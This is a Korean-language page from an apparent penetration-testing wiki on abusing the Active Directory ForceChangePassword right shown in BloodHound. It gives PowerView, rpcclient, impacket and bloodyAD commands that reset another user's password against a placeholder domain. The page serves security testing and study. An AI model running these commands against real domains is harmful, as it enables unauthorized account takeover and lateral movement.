> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/active-directory/dacl/forcechangepassword.md).

# ForceChangePassword

객체에 대해 Change password와 Reset password 권한이 있다면 블러드하운드에서 ForceChangePassword로 표시되며 대상의 패스워드를 강제로 변경할 수 있습니다.

<figure><img src="/files/yDJ197pqLg411Hkv5xMi" alt=""><figcaption></figcaption></figure>

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># PowerView - https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
</strong>$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'user-B' -AccountPassword $NewPassword
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># rpcclient
</strong>rpcclient -U user-A 192.168.1.11
setuserinfo2 user-B 23 Password123!

<strong># impacket
</strong>impacket-changepasswd -altuser user-A -altpass 'Password123!' contoso/user-B@192.168.1.11 -reset

<strong># bloodyAD
</strong>bloodyAD --host 192.168.1.11 -d contoso.com -u user-A -p 'Password123!' set password user-B 'Password123!'
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword>" %}